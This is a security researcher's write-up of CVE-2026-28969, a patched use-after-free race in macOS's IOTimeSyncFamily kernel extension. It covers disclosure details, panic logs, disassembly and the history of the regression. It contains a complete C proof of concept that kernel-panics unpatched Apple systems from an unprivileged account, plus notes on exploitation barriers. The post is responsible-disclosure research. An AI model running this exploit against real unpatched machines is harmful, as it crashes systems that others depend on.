The 2017 Ghost in the Time Machine: Hunting IOTimeSyncFamily on macOS 26
The same IOKit lifecycle race Apple patched in 2017 came back nine years later — and two researchers found it within five days of each other.
Author: Ashish Kunwar (@D0rkerDevil) — Vulnerability Researcher, GanaSec Date: May 2026
CVE / Advisory Details
- CVE: CVE-2026-28969
- CVSS 3.1: 7.5 HIGH (CISA-ADP: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — though the reachable surface is local)
- CWE: CWE-416 (Use After Free)
- Apple impact: "An app may be able to cause unexpected system termination."
- Affected: iOS / iPadOS < 18.7.9 and 26.0–26.5; macOS Sonoma < 14.8.7; macOS Sequoia < 15.7.7; macOS Tahoe < 26.5; tvOS, visionOS, watchOS < 26.5
- Fixed in: iOS / iPadOS 18.7.9 and 26.5; macOS Sonoma 14.8.7; macOS Sequoia 15.7.7; macOS Tahoe 26.5; tvOS 26.5; visionOS 26.5; watchOS 26.5
- Advisories: HT127110, HT127111, HT127115, HT127116, HT127117, HT127118, HT127119, HT127120
Preface
In late March 2026, while systematically auditing the IOKit attack surface on macOS 26.4, I independently discovered a use-after-free in the IOTimeSyncFamily kernel extension — a race condition between clientClose() and externalMethod() on IOTimeSyncClockManagerUserClient. The same bug was independently found by Mihalis Haatainen roughly five days earlier. Apple credited both parties under CVE-2026-28969, fixed in macOS 26.5.
This writeup covers the discovery, root cause analysis, and crash site reverse engineering — with PoC code and raw panic register dumps.
Part I — The UAF Race
Background: IOTimeSyncFamily
IOTimeSyncFamily (com.apple.iokit.IOTimeSyncFamily, version 1440.24) is Apple's kernel-level implementation of IEEE 802.1AS / IEEE 1588 Precision Time Protocol (gPTP/PTP). It provides time synchronization for audio/video streaming, Thunderbolt networking, and AVB (Audio Video Bridging) on macOS and iOS. The kext exposes two user client classes to userspace via IOKit:
IOTimeSyncClockManagerUserClient— manages the gPTP clock and peer relationshipsIOTimeSyncDomainUserClient— manages PTP/EtE time synchronization domains and ports
Both are accessible from any local process (uid=501, no entitlements required to open the service). The ClockManager user client accepts external method selectors 0–16, while the Domain user client handles selectors 18–52.
How I Found It
I wasn't looking for IOTimeSyncFamily specifically. I was running a systematic sweep of every openable IOKit service on macOS 26.4, probing each for race conditions between IOServiceClose() and concurrent IOConnectCallMethod() calls. The methodology is simple: open a connection, fire external methods on multiple threads, and simultaneously close the connection from another thread. If the driver doesn't properly synchronize teardown against in-flight method dispatch, you get a use-after-free.
IOTimeSyncClockManager was one of 35 services I could open from uid=501. When my racer hit selectors 5 and 6, the kernel panicked within seconds.
The Race
The bug is a textbook IOKit lifecycle race:
Thread A (racer) Thread B (closer)
───────────────── ──────────────────
IOConnectCallMethod(conn, 5, ...)
→ MIG dispatch
→ externalMethod(5)
→ addgPTPServices()
→ ldr x0, [x19, #0xF0] IOServiceClose(conn)
↑ x19 is the internal → clientClose()
object pointer → OSSafeReleaseNULL(&fInternal)
→ fInternal = NULL
→ x19 is now NULL
→ ldr x0, [0x0 + 0xF0]
→ KERNEL DATA ABORT
FAR = 0x00000000000000F0
clientClose() calls OSSafeReleaseNULL() on the internal object, zeroing the pointer. A concurrent externalMethod() on selector 5 (addgPTPServices) dereferences the same pointer at offset +0xF0 to load a mutex address. With the pointer zeroed, this becomes a load from NULL + 0xF0 = 0xF0, which is unmapped — instant kernel panic.
The Panic
I triggered four kernel panics with identical crash signatures across different KASLR slides, confirming the same root cause:
panic(cpu 2 caller 0xfffffe001f943bd8): Kernel data abort.
at pc 0xfffffe001e7d42a0, lr 0xacc7fe001e7e6180
x0: 0x0000000000000000 ← NULL (freed internal object)
x1: 0xfffffe2ad4fa9ec0
x19: 0x0000000000000000 ← freed object pointer = NULL
x25: 0x0000000000000005 ← external method selector (5 = addgPTPServices)
esr: 0x96000006 ← Data Abort, Translation fault level 2, read
far: 0x00000000000000f0 ← NULL + 0xF0
Kernel Extensions in backtrace:
com.apple.iokit.IOTimeSyncFamily(1440.24)
OS version: macOS 26.4 (25E246)
Kernel: xnu-12377.101.15~1/RELEASE_ARM64_VMAPPLE
The panic is 100% reproducible. My PoC uses 64 racer threads and 16 closer threads — the kernel goes down within seconds to minutes, depending on scheduler timing.
The PoC
/*
* IOTimeSyncFamily Kernel Panic PoC — Use-After-Close Race
* macOS 26.4 (Build 25E246)
*
* Crash: panic at IOTimeSyncFamily+0x178D0, FAR=0xF0
* x19=0 (freed/NULL object), x25=5 (selector)
*
* Compile: cc -o poc poc_race.c -framework IOKit -lpthread -O2
* Run: ./poc
* Effect: Kernel panic within seconds to minutes
*
* Author: Ashish Kunwar (@D0rkerDevil)
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <IOKit/IOKitLib.h>
#include <unistd.h>
static io_service_t g_svc = 0;
static volatile long g_count = 0;
void *racer(void *arg) {
int tid = (int)(long)arg;
uint64_t si[4] = {0x41414141, 0xDEAD, (uint64_t)tid, 0};
uint64_t so[4];
uint32_t so_cnt;
while (1) {
io_connect_t conn;
if (IOServiceOpen(g_svc, mach_task_self(), tid % 10, &conn) != KERN_SUCCESS)
continue;
for (int i = 0; i < 100; i++) {
so_cnt = 4;
IOConnectCallMethod(conn, 5, si, 4, NULL, 0, so, &so_cnt, NULL, NULL);
so_cnt = 4;
IOConnectCallMethod(conn, 6, si, 4, NULL, 0, so, &so_cnt, NULL, NULL);
}
IOServiceClose(conn);
so_cnt = 4;
IOConnectCallMethod(conn, 5, si, 4, NULL, 0, so, &so_cnt, NULL, NULL);
__sync_fetch_and_add(&g_count, 1);
}
return NULL;
}
void *closer(void *arg) {
while (1) {
io_connect_t conn;
if (IOServiceOpen(g_svc, mach_task_self(), 0, &conn) == KERN_SUCCESS)
IOServiceClose(conn);
}
return NULL;
}
int main() {
CFMutableDictionaryRef match = IOServiceMatching("IOTimeSyncClockManager");
io_iterator_t iter;
IOServiceGetMatchingServices(kIOMainPortDefault, match, &iter);
g_svc = IOIteratorNext(iter);
if (!g_svc) { printf("[-] Service not found\n"); return 1; }
printf("[+] IOTimeSyncFamily Race Condition Kernel Panic PoC\n");
printf("[+] Target: macOS 26.4 (25E246)\n");
printf("[+] 64 racer threads + 16 closer threads\n");
printf("[!] WARNING: This WILL kernel panic the system!\n\n");
pthread_t threads[80];
for (int i = 0; i < 64; i++)
pthread_create(&threads[i], NULL, racer, (void*)(long)i);
for (int i = 0; i < 16; i++)
pthread_create(&threads[64+i], NULL, closer, (void*)(long)i);
while (1) {
sleep(10);
printf(" %ld race cycles completed\n", g_count);
}
return 0;
}
The key to winning the race: fire 100 method calls per connection to widen the window, then call IOConnectCallMethod() after IOServiceClose() — this catches the exact moment where clientClose() has NULLed the internal pointer but MIG hasn't yet invalidated the send right.
Reachability
The user client requires no entitlement and is not gated by any sandbox profile:
// test_access.c — confirm unprivileged access
// build: clang -o test_access test_access.c -framework IOKit
// run: ./test_access (any local user, no entitlements)
#include <stdio.h>
#include <IOKit/IOKitLib.h>
int main(void) {
io_service_t svc = IOServiceGetMatchingService(
kIOMainPortDefault,
IOServiceMatching("IOTimeSyncClockManager"));
if (svc) {
io_connect_t conn;
kern_return_t kr = IOServiceOpen(svc, mach_task_self(), 0, &conn);
printf("[+] Unprivileged access: %s\n",
kr == KERN_SUCCESS ? "YES" : "NO");
if (kr == KERN_SUCCESS) IOServiceClose(conn);
IOObjectRelease(svc);
}
return 0;
}
Output as uid=501, no entitlements, SIP enabled:
[+] Unprivileged access: YES
Part II — Crash Site Reverse Engineering
I extracted the IOTimeSyncFamily kext binary from the macOS 26.4 IPSW kernelcache and disassembled the crash site to understand exactly what the CPU was doing at the moment of panic.
The Crash Instruction
Using ipsw kernel extract on the 26.4 kernelcache, I located IOTimeSyncClockManager::addgPTPServices() at kext offset +0x178D0:
; IOTimeSyncClockManager::addgPTPServices()
; x19 = internal object pointer (NULL after race)
0xfffffe00093c42a0: ldr x0, [x0, #0xf0] ; Load mutex pointer from [object+0xF0]
; CRASH SITE: x0 = NULL → FAR = 0xF0
0xfffffe00093c42a4: bl _lck_mtx_lock ; Lock the mutex
0xfffffe00093c42a8: ldr x8, [x19, #0x90] ; Read another field
0xfffffe00093c42ac: cbnz x8, +0xb0 ; Branch if non-null
...
0xfffffe00093c42d4: ldr x16, [x19] ; Load vtable pointer (PAC-signed)
0xfffffe00093c42dc: autda x16, x17 ; Authenticate vtable with PAC
0xfffffe00093c4314: blraa x9, x17 ; PAC-authenticated virtual dispatch
Key observations from the disassembly:
- The mutex load at
+0xF0is not PAC-protected. The value loaded from[object+0xF0]is used directly as the argument to_lck_mtx_lock. NoAUTDAorAUTIAinstruction guards it.
_lck_mtx_lockperforms a conditional atomic write. On XNU ARM64,lck_mtx_lock()uses theCASA(Compare-And-Swap, Acquire) instruction:
; _lck_mtx_lock internals (simplified)
ADD X10, X0, #8 ; x10 = mutex_addr + 8
CASA X2, X8, [X10] ; if [mutex_addr+8] == 0: write thread_id to [mutex_addr+8]
- The vtable dispatch later at
+0x2D4IS PAC-protected.AUTDA+BLRAAauthenticate the vtable before the virtual call.
Object Layout
From the fields accessed in the crash path and the kext's __kalloc_type section metadata:
| Offset | Field | Usage |
|---|---|---|
+0x00 | vtable pointer | PAC-signed, loaded at +0x2D4 |
+0x90 | branch condition field | Controls code path selection |
+0xF0 | mutex pointer (lck_mtx_t *) | Not PAC-protected |
Minimum object size: 0xF8 bytes (248). Allocated in kalloc.type.296 — a typed zone with zone_require enforcement, which blocks cross-zone heap spray.
Zone Map (from panic log)
Zone map: 0xfffffe1004000000 - 0xfffffe3604000000
VM : 0xfffffe1004000000 - 0xfffffe15d0000000 (23 GB)
RO : 0xfffffe15d0000000 - 0xfffffe186a000000 (10 GB)
GEN0 : 0xfffffe186a000000 - 0xfffffe1e36000000 (23 GB — typed kalloc)
GEN1 : 0xfffffe1e36000000 - 0xfffffe2402000000 (23 GB — threads)
GEN2 : 0xfffffe2402000000 - 0xfffffe29ce000000 (23 GB — general typed)
GEN3 : 0xfffffe29ce000000 - 0xfffffe2f9a000000 (23 GB — general typed)
DATA : 0xfffffe2f9a000000 - 0xfffffe3604000000 (26 GB — untyped)
The freed internal object is a typed C++ object in a generation-segregated zone (GEN0/GEN2). zone_require enforces type-safety at free time, preventing IOSurface/OOL-message spray from reclaiming the slot. This is the primary exploitation barrier — same-type replacement (opening another IOTimeSyncClockManager connection to reclaim the slot) produces a kext-initialized object where +0xF0 points to a valid mutex, not an attacker-controlled address.
What's Next
Four confirmed kernel panics across different KASLR slides. The crash is reliable and the root cause is clear — but the story doesn't end at the panic. A future post will walk through the exploitation attempts — heap reclaim strategies against XNU's typed zone allocator, the constraints imposed by zone_require and PAC, and what it actually takes to try to turn an IOKit UAF into something more than a crash on modern macOS.
Part III — The Historical Ghost: CVE-2017-13847
This bug is a regression of CVE-2017-13847, discovered by Ian Beer of Google Project Zero in 2017. Beer's original finding was the same pattern: a race condition in an IOKit user client's clientClose() path that freed objects while concurrent externalMethod() calls still referenced them. Apple fixed it, then at some point the fix regressed.
The 2017 variant was in the same IOTimeSyncFamily kext. The 2026 variant crashes at the same offset (+0xF0), the same selector (5), and produces the same NULL dereference pattern. Nine years later, the ghost came back.
This is not uncommon in IOKit. The pattern — clientClose() tearing down state without holding a lock that externalMethod() also needs — is the most common IOKit kernel vuln class. It recurs because:
- IOKit doesn't enforce atomic teardown at the framework level
- Each driver must implement its own synchronization
- When drivers are refactored or new methods are added, existing locks can become insufficient
- Without continuous regression testing with a concurrency fuzzer, these gaps go undetected
Part IV — Timeline
| Date | Event |
|---|---|
| 2026-03-29 | First kernel panic observed during IOKit service sweep |
| 2026-03-30 | Crash isolated to IOTimeSyncFamily via panic backtrace. PoC written. 4/4 panics confirmed. Report submitted to Apple SRD. |
| 2026-05-07 | CVE-2026-28969 assigned |
| 2026-05-11 | Fix shipped across the 26.5 release family (iOS, iPadOS, macOS Tahoe, tvOS, visionOS, watchOS) plus security updates for macOS Sequoia 15.7.7 and macOS Sonoma 14.8.7. Apple security advisories HT127110–HT127120 and NVD entry published same day. |
Lessons
For Apple: IOKit user client lifecycle races are the #1 kernel bug class on macOS/iOS. The clientClose() / externalMethod() pattern has produced CVEs for over a decade. A framework-level isInactive() check injected before every externalMethod() dispatch would eliminate the entire class. Until then, every driver author must independently remember to hold a lock across teardown — and nine years of IOTimeSyncFamily shows how that goes.
For researchers: When you find a race in one user client of a kext, reverse-engineer the entire dispatch table. One bug finding can unlock others if you don't stop at the first crash.
For the community: This bug was independently discovered twice within five days, by researchers on different continents using different methodologies. That's not coincidence — it's what happens when a nine-year-old bug class regresses in a well-known attack surface. The 2017 ghost was waiting for someone to run a race condition fuzzer against IOTimeSyncFamily again. Two someones did.
References
- NVD — CVE-2026-28969 (CVSS 7.5 HIGH, CWE-416)
- Apple security advisories: HT127110, HT127111, HT127115, HT127116, HT127117, HT127118, HT127119, HT127120
- CVE-2017-13847 — original Ian Beer report (same primitive)
- Google Project Zero issue #1377 — IOTimeSyncClockManager multiple kernel UAFs
- Exploit-DB 43326 — Beer's original PoC
- Apple HT208112 — 2017 fix (iOS 11.2 / macOS 10.13.2)
About the Author
Ashish Kunwar · Founder, GanaSec
Ashish Kunwar is the founder of GanaSec, an offensive security research firm. GanaSec focuses on vulnerability research across multiple platforms. Ashish has over 500 responsible disclosures, 8+ CVEs, and part of his research was presented at DEF CON 29. He was previously with Microsoft MSTIC and has been recognized by Forbes for his contributions to cybersecurity.
If you want us to hunt for bugs like this in your environment, book a 30-minute scoping call.